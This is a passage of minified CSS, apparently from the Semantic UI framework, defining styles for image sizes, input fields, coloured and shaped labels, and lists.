svg{width:450px;height:auto;font-size:1.14285714rem}.ui.big.image,.ui.big.images .image,.ui.big.images img,.ui.big.images svg{width:600px;height:auto;font-size:1.28571429rem}.ui.huge.image,.ui.huge.images .image,.ui.huge.images img,.ui.huge.images svg{width:800px;height:auto;font-size:1.42857143rem}.ui.massive.image,.ui.massive.images .image,.ui.massive.images img,.ui.massive.images svg{width:960px;height:auto;font-size:1.71428571rem}.ui.images{font-size:0;margin:0 -.25rem}.ui.images .image,.ui.images img,.ui.images svg{display:inline-block;margin:0 .25rem .5rem}.ui.input{position:relative;font-weight:400;font-style:normal;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;color:rgba(0,0,0,.87)}.ui.input input{margin:0;max-width:100%;-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;outline:0;-webkit-tap-highlight-color:rgba(255,255,255,0);text-align:left;line-height:1.2142em;padding:.67861429em 1em;background:#FFF;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);border-radius:.28571429rem;-webkit-transition:box-shadow .1s ease,border-color .1s ease;transition:box-shadow .1s ease,border-color .1s ease;box-shadow:none}.ui.input input::-webkit-input-placeholder{color:rgba(191,191,191,.87)}.ui.input input::-moz-placeholder{color:rgba(191,191,191,.87)}.ui.input input:-ms-input-placeholder{color:rgba(191,191,191,.87)}.ui.disabled.input,.ui.input input[disabled]{opacity:.45}.ui.disabled.input input,.ui.input input[disabled]{pointer-events:none}.ui.input input:active,.ui.input.down input{border-color:rgba(0,0,0,.3);background:#FAFAFA;color:rgba(0,0,0,.87);box-shadow:none}.ui.loading.loading.input>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.loading.input>i.icon:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}.ui.input input:focus,.ui.input.focus input{border-color:#85B7D9;background:#FFF;color:rgba(0,0,0,.8);box-shadow:none}.ui.input input:focus::-webkit-input-placeholder,.ui.input.focus input::-webkit-input-placeholder{color:rgba(115,115,115,.87)}.ui.input input:focus::-moz-placeholder,.ui.input.focus input::-moz-placeholder{color:rgba(115,115,115,.87)}.ui.input input:focus:-ms-input-placeholder,.ui.input.focus input:-ms-input-placeholder{color:rgba(115,115,115,.87)}.ui.input.error input{background-color:#FFF6F6;border-color:#E0B4B4;color:#9F3A38;box-shadow:none}.ui.input.error input::-webkit-input-placeholder{color:#e7bdbc}.ui.input.error input::-moz-placeholder{color:#e7bdbc}.ui.input.error input:-ms-input-placeholder{color:#e7bdbc!important}.ui.input.error input:focus::-webkit-input-placeholder{color:#da9796}.ui.input.error input:focus::-moz-placeholder{color:#da9796}.ui.input.error input:focus:-ms-input-placeholder{color:#da9796!important}.ui.transparent.input input{border-color:transparent!important;background-color:transparent!important;padding:0!important;box-shadow:none!important}.ui.transparent.icon.input>i.icon{width:1.1em}.ui.transparent.icon.input>input{padding-left:0!important;padding-right:2em!important}.ui.transparent[class*="left icon"].input>input{padding-left:2em!important;padding-right:0!important}.ui.transparent.inverted.input{color:#FFF}.ui.transparent.inverted.input input{color:inherit}.ui.transparent.inverted.input input::-webkit-input-placeholder{color:rgba(255,255,255,.5)}.ui.transparent.inverted.input input::-moz-placeholder{color:rgba(255,255,255,.5)}.ui.transparent.inverted.input input:-ms-input-placeholder{color:rgba(255,255,255,.5)}.ui.icon.input>i.icon{cursor:default;position:absolute;line-height:1;text-align:center;top:0;right:0;margin:0;height:100%;width:2.67142857em;opacity:.5;border-radius:0 .28571429rem .28571429rem 0;-webkit-transition:opacity .3s ease;transition:opacity .3s ease}.ui.icon.input>i.icon:not(.link){pointer-events:none}.ui.icon.input input{padding-right:2.67142857em!important}.ui.icon.input>i.icon:after,.ui.icon.input>i.icon:before{left:0;position:absolute;text-align:center;top:50%;width:100%;margin-top:-.5em}.ui.icon.input>i.link.icon{cursor:pointer}.ui.icon.input>i.circular.icon{top:.35em;right:.5em}.ui[class*="left icon"].input>i.icon{right:auto;left:1px;border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="left icon"].input>i.circular.icon{right:auto;left:.5em}.ui[class*="left icon"].input>input{padding-left:2.67142857em!important;padding-right:1em!important}.ui.icon.input>input:focus~i.icon{opacity:1}.ui.labeled.input>.label{-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;margin:0;font-size:1em}.ui.labeled.input>.label:not(.corner){padding-top:.78571429em;padding-bottom:.78571429em}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child+input{border-top-left-radius:0;border-bottom-left-radius:0;border-left-color:transparent}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child+input:focus{border-left-color:#85B7D9}.ui[class*="right labeled"].input input{border-top-right-radius:0!important;border-bottom-right-radius:0!important;border-right-color:transparent!important}.ui[class*="right labeled"].input input+.label{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="right labeled"].input input:focus{border-right-color:#85B7D9!important}.ui.labeled.input .corner.label{top:1px;right:1px;font-size:.64285714em;border-radius:0 .28571429rem 0 0}.ui[class*="corner labeled"]:not([class*="left corner labeled"]).labeled.input input{padding-right:2.5em!important}.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"])>input{padding-right:3.25em!important}.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"])>.icon{margin-right:1.25em}.ui[class*="left corner labeled"].labeled.input input{padding-left:2.5em!important}.ui[class*="left corner labeled"].icon.input>input{padding-left:3.25em!important}.ui[class*="left corner labeled"].icon.input>.icon{margin-left:1.25em}.ui.input>.ui.corner.label{top:1px;right:1px}.ui.input>.ui.left.corner.label{right:auto;left:1px}.ui.action.input>.button,.ui.action.input>.buttons{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto}.ui.action.input>.button,.ui.action.input>.buttons>.button{padding-top:.78571429em;padding-bottom:.78571429em;margin:0}.ui.action.input:not([class*="left action"])>input{border-top-right-radius:0!important;border-bottom-right-radius:0!important;border-right-color:transparent!important}.ui.action.input:not([class*="left action"])>.button:not(:first-child),.ui.action.input:not([class*="left action"])>.buttons:not(:first-child)>.button,.ui.action.input:not([class*="left action"])>.dropdown:not(:first-child){border-radius:0}.ui.action.input:not([class*="left action"])>.button:last-child,.ui.action.input:not([class*="left action"])>.buttons:last-child>.button,.ui.action.input:not([class*="left action"])>.dropdown:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.action.input:not([class*="left action"]) input:focus{border-right-color:#85B7D9!important}.ui[class*="left action"].input>input{border-top-left-radius:0!important;border-bottom-left-radius:0!important;border-left-color:transparent!important}.ui[class*="left action"].input>.button,.ui[class*="left action"].input>.buttons>.button,.ui[class*="left action"].input>.dropdown{border-radius:0}.ui[class*="left action"].input>.button:first-child,.ui[class*="left action"].input>.buttons:first-child>.button,.ui[class*="left action"].input>.dropdown:first-child{border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="left action"].input>input:focus{border-left-color:#85B7D9!important}.ui.inverted.input input{border:none}.ui.fluid.input{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ui.fluid.input>input{width:0!important}.ui.mini.input{font-size:.78571429em}.ui.small.input{font-size:.92857143em}.ui.input{font-size:1em}.ui.large.input{font-size:1.14285714em}.ui.big.input{font-size:1.28571429em}.ui.huge.input{font-size:1.42857143em}.ui.massive.input{font-size:1.71428571em}.ui.label{display:inline-block;line-height:1;vertical-align:baseline;margin:0 .14285714em;background-color:#E8E8E8;background-image:none;padding:.5833em .833em;color:rgba(0,0,0,.6);text-transform:none;font-weight:700;border:0 solid transparent;border-radius:.28571429rem;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.label:first-child{margin-left:0}.ui.label:last-child{margin-right:0}a.ui.label{cursor:pointer}.ui.label>a{cursor:pointer;color:inherit;opacity:.5;-webkit-transition:.1s opacity ease;transition:.1s opacity ease}.ui.label>a:hover{opacity:1}.ui.label>img{width:auto!important;vertical-align:middle;height:2.1666em!important}.ui.label>.icon{width:auto;margin:0 .75em 0 0}.ui.label>.detail{display:inline-block;vertical-align:top;font-weight:700;margin-left:1em;opacity:.8}.ui.label>.detail .icon{margin:0 .25em 0 0}.ui.label>.close.icon,.ui.label>.delete.icon{cursor:pointer;margin-right:0;margin-left:.5em;font-size:.92857143em;opacity:.5;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.label>.delete.icon:hover{opacity:1}.ui.labels>.label{margin:0 .5em .5em 0}.ui.header>.ui.label{margin-top:-.29165em}.ui.attached.segment>.ui.top.left.attached.label,.ui.bottom.attached.segment>.ui.top.left.attached.label{border-top-left-radius:0}.ui.attached.segment>.ui.top.right.attached.label,.ui.bottom.attached.segment>.ui.top.right.attached.label{border-top-right-radius:0}.ui.top.attached.segment>.ui.bottom.left.attached.label{border-bottom-left-radius:0}.ui.top.attached.segment>.ui.bottom.right.attached.label{border-bottom-right-radius:0}.ui.top.attached.label+[class*="right floated"]+*,.ui.top.attached.label:first-child+:not(.attached){margin-top:2rem!important}.ui.bottom.attached.label:first-child~:last-child:not(.attached){margin-top:0;margin-bottom:2rem!important}.ui.image.label{width:auto!important;margin-top:0;margin-bottom:0;max-width:9999px;vertical-align:baseline;text-transform:none;background:#E8E8E8;padding:.5833em .833em .5833em .5em;border-radius:.28571429rem;box-shadow:none}.ui.image.label img{display:inline-block;vertical-align:top;height:2.1666em;margin:-.5833em .5em -.5833em -.5em;border-radius:.28571429rem 0 0 .28571429rem}.ui.image.label .detail{background:rgba(0,0,0,.1);margin:-.5833em -.833em -.5833em .5em;padding:.5833em .833em;border-radius:0 .28571429rem .28571429rem 0}.ui.tag.label,.ui.tag.labels .label{margin-left:1em;position:relative;padding-left:1.5em;padding-right:1.5em;border-radius:0 .28571429rem .28571429rem 0;-webkit-transition:none;transition:none}.ui.tag.label:before,.ui.tag.labels .label:before{position:absolute;-webkit-transform:translateY(-50%) translateX(50%) rotate(-45deg);-ms-transform:translateY(-50%) translateX(50%) rotate(-45deg);transform:translateY(-50%) translateX(50%) rotate(-45deg);top:50%;right:100%;content:'';background-color:inherit;background-image:none;width:1.56em;height:1.56em;-webkit-transition:none;transition:none}.ui.tag.label:after,.ui.tag.labels .label:after{position:absolute;content:'';top:50%;left:-.25em;margin-top:-.25em;background-color:#FFF!important;width:.5em;height:.5em;box-shadow:0 -1px 1px 0 rgba(0,0,0,.3);border-radius:500rem}.ui.corner.label{position:absolute;top:0;right:0;margin:0;padding:0;text-align:center;border-color:#E8E8E8;width:4em;height:4em;z-index:1;-webkit-transition:border-color .1s ease;transition:border-color .1s ease;background-color:transparent!important}.ui.corner.label:after{position:absolute;content:"";right:0;top:0;z-index:-1;width:0;height:0;background-color:transparent!important;border-top:0 solid transparent;border-right:4em solid transparent;border-bottom:4em solid transparent;border-left:0 solid transparent;border-right-color:inherit;-webkit-transition:border-color .1s ease;transition:border-color .1s ease}.ui.corner.label .icon{cursor:default;position:relative;top:.64285714em;left:.78571429em;font-size:1.14285714em;margin:0}.ui.left.corner.label,.ui.left.corner.label:after{right:auto;left:0}.ui.left.corner.label:after{border-top:4em solid transparent;border-right:4em solid transparent;border-bottom:0 solid transparent;border-left:0 solid transparent;border-top-color:inherit}.ui.left.corner.label .icon{left:-.78571429em}.ui.segment>.ui.corner.label{top:-1px;right:-1px}.ui.segment>.ui.left.corner.label{right:auto;left:-1px}.ui.ribbon.label{position:relative;margin:0;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;border-radius:0 .28571429rem .28571429rem 0;border-color:rgba(0,0,0,.15)}.ui.ribbon.label:after{position:absolute;content:'';top:100%;left:0;background-color:transparent!important;border-style:solid;border-width:0 1.2em 1.2em 0;border-color:transparent;border-right-color:inherit;width:0;height:0}.ui.ribbon.label{left:calc(-1rem - 1.2em);margin-right:-1.2em;padding-left:calc(1rem + 1.2em);padding-right:1.2em}.ui[class*="right ribbon"].label{left:calc(100% + 1rem + 1.2em);padding-left:1.2em;padding-right:calc(1rem + 1.2em);text-align:left;-webkit-transform:translateX(-100%);-ms-transform:translateX(-100%);transform:translateX(-100%);border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="right ribbon"].label:after{left:auto;right:0;border-style:solid;border-width:1.2em 1.2em 0 0;border-color:transparent;border-top-color:inherit}.ui.card .image>.ribbon.label,.ui.image>.ribbon.label{position:absolute;top:1rem}.ui.card .image>.ui.ribbon.label,.ui.image>.ui.ribbon.label{left:calc(.05rem - 1.2em)}.ui.card .image>.ui[class*="right ribbon"].label,.ui.image>.ui[class*="right ribbon"].label{left:calc(100% + -.05rem + 1.2em);padding-left:.833em}.ui.table td>.ui.ribbon.label{left:calc(-.78571429em - 1.2em)}.ui.table td>.ui[class*="right ribbon"].label{left:calc(100% + .78571429em + 1.2em);padding-left:.833em}.ui.attached.label,.ui[class*="top attached"].label{width:100%;position:absolute;margin:0;top:0;left:0;padding:.75em 1em;border-radius:.21428571rem .21428571rem 0 0}.ui[class*="bottom attached"].label{top:auto;bottom:0;border-radius:0 0 .21428571rem .21428571rem}.ui[class*="top left attached"].label{width:auto;margin-top:0!important;border-radius:.21428571rem 0 .28571429rem}.ui[class*="top right attached"].label{width:auto;left:auto;right:0;border-radius:0 .21428571rem 0 .28571429rem}.ui[class*="bottom left attached"].label{width:auto;top:auto;bottom:0;border-radius:0 .28571429rem 0 .21428571rem}.ui[class*="bottom right attached"].label{top:auto;bottom:0;left:auto;right:0;width:auto;border-radius:.28571429rem 0 .21428571rem}.ui.label.disabled{opacity:.5}a.ui.label:hover,a.ui.labels .label:hover{background-color:#E0E0E0;border-color:#E0E0E0;background-image:none;color:rgba(0,0,0,.8)}.ui.labels a.label:hover:before,a.ui.label:hover:before{color:rgba(0,0,0,.8)}.ui.active.label{background-color:#D0D0D0;border-color:#D0D0D0;background-image:none;color:rgba(0,0,0,.95)}.ui.active.label:before{background-color:#D0D0D0;background-image:none;color:rgba(0,0,0,.95)}a.ui.active.label:hover,a.ui.labels .active.label:hover{background-color:#C8C8C8;border-color:#C8C8C8;background-image:none;color:rgba(0,0,0,.95)}.ui.labels a.active.label:ActiveHover:before,a.ui.active.label:ActiveHover:before{background-color:#C8C8C8;background-image:none;color:rgba(0,0,0,.95)}.ui.label.visible:not(.dropdown),.ui.labels.visible .label{display:inline-block!important}.ui.label.hidden,.ui.labels.hidden .label{display:none!important}.ui.red.label,.ui.red.labels .label{background-color:#DB2828!important;border-color:#DB2828!important;color:#FFF!important}.ui.red.labels .label:hover,a.ui.red.label:hover{background-color:#d01919!important;border-color:#d01919!important;color:#FFF!important}.ui.red.corner.label,.ui.red.corner.label:hover{background-color:transparent!important}.ui.red.ribbon.label{border-color:#b21e1e!important}.ui.basic.red.label{background-color:#FFF!important;color:#DB2828!important;border-color:#DB2828!important}.ui.basic.red.labels a.label:hover,a.ui.basic.red.label:hover{background-color:#FFF!important;color:#d01919!important;border-color:#d01919!important}.ui.orange.label,.ui.orange.labels .label{background-color:#F2711C!important;border-color:#F2711C!important;color:#FFF!important}.ui.orange.labels .label:hover,a.ui.orange.label:hover{background-color:#f26202!important;border-color:#f26202!important;color:#FFF!important}.ui.orange.corner.label,.ui.orange.corner.label:hover{background-color:transparent!important}.ui.orange.ribbon.label{border-color:#cf590c!important}.ui.basic.orange.label{background-color:#FFF!important;color:#F2711C!important;border-color:#F2711C!important}.ui.basic.orange.labels a.label:hover,a.ui.basic.orange.label:hover{background-color:#FFF!important;color:#f26202!important;border-color:#f26202!important}.ui.yellow.label,.ui.yellow.labels .label{background-color:#FBBD08!important;border-color:#FBBD08!important;color:#FFF!important}.ui.yellow.labels .label:hover,a.ui.yellow.label:hover{background-color:#eaae00!important;border-color:#eaae00!important;color:#FFF!important}.ui.yellow.corner.label,.ui.yellow.corner.label:hover{background-color:transparent!important}.ui.yellow.ribbon.label{border-color:#cd9903!important}.ui.basic.yellow.label{background-color:#FFF!important;color:#FBBD08!important;border-color:#FBBD08!important}.ui.basic.yellow.labels a.label:hover,a.ui.basic.yellow.label:hover{background-color:#FFF!important;color:#eaae00!important;border-color:#eaae00!important}.ui.olive.label,.ui.olive.labels .label{background-color:#B5CC18!important;border-color:#B5CC18!important;color:#FFF!important}.ui.olive.labels .label:hover,a.ui.olive.label:hover{background-color:#a7bd0d!important;border-color:#a7bd0d!important;color:#FFF!important}.ui.olive.corner.label,.ui.olive.corner.label:hover{background-color:transparent!important}.ui.olive.ribbon.label{border-color:#198f35!important}.ui.basic.olive.label{background-color:#FFF!important;color:#B5CC18!important;border-color:#B5CC18!important}.ui.basic.olive.labels a.label:hover,a.ui.basic.olive.label:hover{background-color:#FFF!important;color:#a7bd0d!important;border-color:#a7bd0d!important}.ui.green.label,.ui.green.labels .label{background-color:#21BA45!important;border-color:#21BA45!important;color:#FFF!important}.ui.green.labels .label:hover,a.ui.green.label:hover{background-color:#16ab39!important;border-color:#16ab39!important;color:#FFF!important}.ui.green.corner.label,.ui.green.corner.label:hover{background-color:transparent!important}.ui.green.ribbon.label{border-color:#198f35!important}.ui.basic.green.label{background-color:#FFF!important;color:#21BA45!important;border-color:#21BA45!important}.ui.basic.green.labels a.label:hover,a.ui.basic.green.label:hover{background-color:#FFF!important;color:#16ab39!important;border-color:#16ab39!important}.ui.teal.label,.ui.teal.labels .label{background-color:#00B5AD!important;border-color:#00B5AD!important;color:#FFF!important}.ui.teal.labels .label:hover,a.ui.teal.label:hover{background-color:#009c95!important;border-color:#009c95!important;color:#FFF!important}.ui.teal.corner.label,.ui.teal.corner.label:hover{background-color:transparent!important}.ui.teal.ribbon.label{border-color:#00827c!important}.ui.basic.teal.label{background-color:#FFF!important;color:#00B5AD!important;border-color:#00B5AD!important}.ui.basic.teal.labels a.label:hover,a.ui.basic.teal.label:hover{background-color:#FFF!important;color:#009c95!important;border-color:#009c95!important}.ui.blue.label,.ui.blue.labels .label{background-color:#2185D0!important;border-color:#2185D0!important;color:#FFF!important}.ui.blue.labels .label:hover,a.ui.blue.label:hover{background-color:#1678c2!important;border-color:#1678c2!important;color:#FFF!important}.ui.blue.corner.label,.ui.blue.corner.label:hover{background-color:transparent!important}.ui.blue.ribbon.label{border-color:#1a69a4!important}.ui.basic.blue.label{background-color:#FFF!important;color:#2185D0!important;border-color:#2185D0!important}.ui.basic.blue.labels a.label:hover,a.ui.basic.blue.label:hover{background-color:#FFF!important;color:#1678c2!important;border-color:#1678c2!important}.ui.violet.label,.ui.violet.labels .label{background-color:#6435C9!important;border-color:#6435C9!important;color:#FFF!important}.ui.violet.labels .label:hover,a.ui.violet.label:hover{background-color:#5829bb!important;border-color:#5829bb!important;color:#FFF!important}.ui.violet.corner.label,.ui.violet.corner.label:hover{background-color:transparent!important}.ui.violet.ribbon.label{border-color:#502aa1!important}.ui.basic.violet.label{background-color:#FFF!important;color:#6435C9!important;border-color:#6435C9!important}.ui.basic.violet.labels a.label:hover,a.ui.basic.violet.label:hover{background-color:#FFF!important;color:#5829bb!important;border-color:#5829bb!important}.ui.purple.label,.ui.purple.labels .label{background-color:#A333C8!important;border-color:#A333C8!important;color:#FFF!important}.ui.purple.labels .label:hover,a.ui.purple.label:hover{background-color:#9627ba!important;border-color:#9627ba!important;color:#FFF!important}.ui.purple.corner.label,.ui.purple.corner.label:hover{background-color:transparent!important}.ui.purple.ribbon.label{border-color:#82299f!important}.ui.basic.purple.label{background-color:#FFF!important;color:#A333C8!important;border-color:#A333C8!important}.ui.basic.purple.labels a.label:hover,a.ui.basic.purple.label:hover{background-color:#FFF!important;color:#9627ba!important;border-color:#9627ba!important}.ui.pink.label,.ui.pink.labels .label{background-color:#E03997!important;border-color:#E03997!important;color:#FFF!important}.ui.pink.labels .label:hover,a.ui.pink.label:hover{background-color:#e61a8d!important;border-color:#e61a8d!important;color:#FFF!important}.ui.pink.corner.label,.ui.pink.corner.label:hover{background-color:transparent!important}.ui.pink.ribbon.label{border-color:#c71f7e!important}.ui.basic.pink.label{background-color:#FFF!important;color:#E03997!important;border-color:#E03997!important}.ui.basic.pink.labels a.label:hover,a.ui.basic.pink.label:hover{background-color:#FFF!important;color:#e61a8d!important;border-color:#e61a8d!important}.ui.brown.label,.ui.brown.labels .label{background-color:#A5673F!important;border-color:#A5673F!important;color:#FFF!important}.ui.brown.labels .label:hover,a.ui.brown.label:hover{background-color:#975b33!important;border-color:#975b33!important;color:#FFF!important}.ui.brown.corner.label,.ui.brown.corner.label:hover{background-color:transparent!important}.ui.brown.ribbon.label{border-color:#805031!important}.ui.basic.brown.label{background-color:#FFF!important;color:#A5673F!important;border-color:#A5673F!important}.ui.basic.brown.labels a.label:hover,a.ui.basic.brown.label:hover{background-color:#FFF!important;color:#975b33!important;border-color:#975b33!important}.ui.grey.label,.ui.grey.labels .label{background-color:#767676!important;border-color:#767676!important;color:#FFF!important}.ui.grey.labels .label:hover,a.ui.grey.label:hover{background-color:#838383!important;border-color:#838383!important;color:#FFF!important}.ui.grey.corner.label,.ui.grey.corner.label:hover{background-color:transparent!important}.ui.grey.ribbon.label{border-color:#805031!important}.ui.basic.grey.label{background-color:#FFF!important;color:#767676!important;border-color:#767676!important}.ui.basic.grey.labels a.label:hover,a.ui.basic.grey.label:hover{background-color:#FFF!important;color:#838383!important;border-color:#838383!important}.ui.black.label,.ui.black.labels .label{background-color:#1B1C1D!important;border-color:#1B1C1D!important;color:#FFF!important}.ui.black.labels .label:hover,a.ui.black.label:hover{background-color:#27292a!important;border-color:#27292a!important;color:#FFF!important}.ui.black.corner.label,.ui.black.corner.label:hover{background-color:transparent!important}.ui.black.ribbon.label{border-color:#805031!important}.ui.basic.black.label{background-color:#FFF!important;color:#1B1C1D!important;border-color:#1B1C1D!important}.ui.basic.black.labels a.label:hover,a.ui.basic.black.label:hover{background-color:#FFF!important;color:#27292a!important;border-color:#27292a!important}.ui.basic.label{background:#FFF;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);box-shadow:none}a.ui.basic.label:hover{text-decoration:none;background:#FFF;color:#1e70bf;box-shadow:1px solid rgba(34,36,38,.15);box-shadow:none}.ui.basic.pointing.label:before{border-color:inherit}.ui.fluid.labels>.label,.ui.label.fluid{width:100%;box-sizing:border-box}.ui.inverted.label,.ui.inverted.labels .label{color:rgba(255,255,255,.9)!important}.ui.horizontal.label,.ui.horizontal.labels .label{margin:0 .5em 0 0;padding:.4em .833em;min-width:3em;text-align:center}.ui.circular.label,.ui.circular.labels .label{min-width:2em;min-height:2em;padding:.5em!important;line-height:1em;text-align:center;border-radius:500rem}.ui.empty.circular.label,.ui.empty.circular.labels .label{min-width:0;min-height:0;overflow:hidden;width:.5em;height:.5em;vertical-align:baseline}.ui.pointing.label{position:relative}.ui.attached.pointing.label{position:absolute}.ui.pointing.label:before{background-color:inherit;border-style:solid;border-color:inherit;position:absolute;content:'';-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);background-image:none;z-index:2;width:.6666em;height:.6666em;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.pointing.label,.ui[class*="pointing above"].label{margin-top:1em}.ui.pointing.label:before,.ui[class*="pointing above"].label:before{border-width:1px 0 0 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);-ms-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:0;left:50%}.ui[class*="bottom pointing"].label,.ui[class*="pointing below"].label{margin-top:0;margin-bottom:1em}.ui[class*="bottom pointing"].label:before,.ui[class*="pointing below"].label:before{border-width:0 1px 1px 0;right:auto;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);-ms-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:100%;left:50%}.ui[class*="left pointing"].label{margin-top:0;margin-left:.6666em}.ui[class*="left pointing"].label:before{border-width:0 0 1px 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);-ms-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);bottom:auto;right:auto;top:50%;left:0}.ui[class*="right pointing"].label{margin-top:0;margin-right:.6666em}.ui[class*="right pointing"].label:before{border-width:1px 1px 0 0;-webkit-transform:translateX(50%) translateY(-50%) rotate(45deg);-ms-transform:translateX(50%) translateY(-50%) rotate(45deg);transform:translateX(50%) translateY(-50%) rotate(45deg);top:50%;right:0;bottom:auto;left:auto}.ui.basic.pointing.label:before,.ui.basic[class*="pointing above"].label:before{margin-top:-1px}.ui.basic[class*="bottom pointing"].label:before,.ui.basic[class*="pointing below"].label:before{bottom:auto;top:100%;margin-top:1px}.ui.basic[class*="left pointing"].label:before{top:50%;left:-1px}.ui.basic[class*="right pointing"].label:before{top:50%;right:-1px}.ui.floating.label{position:absolute;z-index:100;top:-1em;left:100%;margin:0 0 0 -1.5em!important}.ui.mini.label,.ui.mini.labels .label{font-size:.64285714rem}.ui.tiny.label,.ui.tiny.labels .label{font-size:.71428571rem}.ui.small.label,.ui.small.labels .label{font-size:.78571429rem}.ui.label,.ui.labels .label{font-size:.85714286rem}.ui.large.label,.ui.large.labels .label{font-size:1rem}.ui.big.label,.ui.big.labels .label{font-size:1.28571429rem}.ui.huge.label,.ui.huge.labels .label{font-size:1.42857143rem}.ui.massive.label,.ui.massive.labels .label{font-size:1.71428571rem}.ui.list,ol.ui.list,ul.ui.list{list-style-type:none;margin:1em 0;padding:0}.ui.list:first-child,ol.ui.list:first-child,ul.ui.list:first-child{margin-top:0;padding-top:0}.ui.list:last-child,ol.ui.list:last-child,ul.ui.list:last-child{margin-bottom:0;padding-bottom:0}.ui.list .list>.item,.ui.list>.item,ol.ui.list li,ul.ui.list li{display:list-item;table-layout:fixed;list-style-type:none;list-style-position:outside;padding:.21428571em 0;line-height:1.14285714em}.ui.list>.item:after,.ui.list>.list>.item,ol.ui.list>li:first-child:after,ul.ui.list>li:first-child:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.list .list>.item:first-child,.ui.list>.item:first-child,ol.ui.list li:first-child,ul.ui.list li:first-child{padding-top:0}.ui.list .list>.item:last-child,.ui.list>.item:last-child,ol.ui.list li:last-child,ul.ui.list li:last-child{padding-bottom:0}.ui.list .list,ol.ui.list ol,ul.ui.list ul{clear:both;margin:0;padding:.75em 0 .25em .5em}.ui.list .list>.item,ol.ui.list ol li,ul.ui.list ul li{padding:.14285714em 0;line-height:inherit}.ui.list .list>.item>i.icon,.ui.list>.item>i.icon{display:table-cell;margin:0;padding-top:.07142857em;padding-right:.28571429em;vertical-align:top;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.list .list>.item>i.icon:only-child,.ui.list>.item>i.icon:only-child{display:inline-block;vertical-align:top}.ui.list .list>.item>.image,.ui.list>.item>.image{display:table-cell;background-color:transparent;margin:0;vertical-align:top}.ui.list .list>.item>.image:not(:only-child):not(img),.ui.list>.item>.image:not(:only-child):not(img){padding-right:.5em}.ui.list .list>.item>.image img,.ui.list>.item>.image img{vertical-align:top}.ui.list .list>.item>.image:only-child,.ui.list .list>.item>img.image,.ui.list>.item>.image:only-child,.ui.list>.item>img.image{display:inline-block}.ui.list .list>.item>.content,.ui.list>.item>.content{line-height:1.14285714em}.ui.list .list>.item>.icon+.content,.ui.list .list>.item>.image+.content,.ui.list>.item>.icon+.content,.ui.list>.item>.image+.content{display:table-cell;padding:0 0 0 .5em;vertical-align:top}.ui.list .list>.item>img.image+.content,.ui.list>.item>img.image+.content{display:inline-block}.ui.list .list>.item>.content>.list,.ui.list>.item>.content>.list{margin-left:0;padding-left:0}.ui.list .list>.item .header,.ui.list>.item .header{display:block;margin:0;font-weight:700;color:rgba(0,0,0,.87)}.ui.list .list>.item .description,.ui.list>.item .description{display:block;color:rgba(0,0,0,.7)}.ui.list .list>.item a,.ui.list>.item a{cursor:pointer}.ui.list .list>a.item,.ui.list>a.item{cursor:pointer;color:#4183C4}.ui.list .list>a.item:hover,.ui.list>a.item:hover{color:#1e70bf}.ui.list .list>a.item i.icon,.ui.list>a.item i.icon{color:rgba(0,0,0,.4)}.ui.list .list>.item a.header,.ui.list>.item a.header{cursor:pointer;color:#4183C4!important}.ui.list .list>.item a.header:hover,.ui.list>.item a.header:hover{color:#1e70bf!important}.ui[class*="left floated"].list{float:left}.ui[class*="right floated"].list{float:right}.ui.list .list>.item [class*="left floated"],.ui.list>.item [class*="left floated"]{float:left;margin:0 1em 0 0}.ui.list .list>.item [class*="right floated"],.ui.list>.item [class*="right floated"]{float:right;margin:0 0 0 1em}.ui.menu .ui.list .list>.item,.ui.menu .ui.list>.item{display:list-item;table-layout:fixed;background-color:transparent;list-style-type:none;list-style-position:outside;padding:.21428571em 0;line-height:1.14285714em}.ui.menu .ui.list .list>.item:before,.ui.menu .ui.list>.item:before{border:none;background:0 0}.ui.menu .ui.list .list>.item:first-child,.ui.menu .ui.list>.item:first-child{padding-top:0}.ui.menu .ui.list .list>.item:last-child,.ui.menu 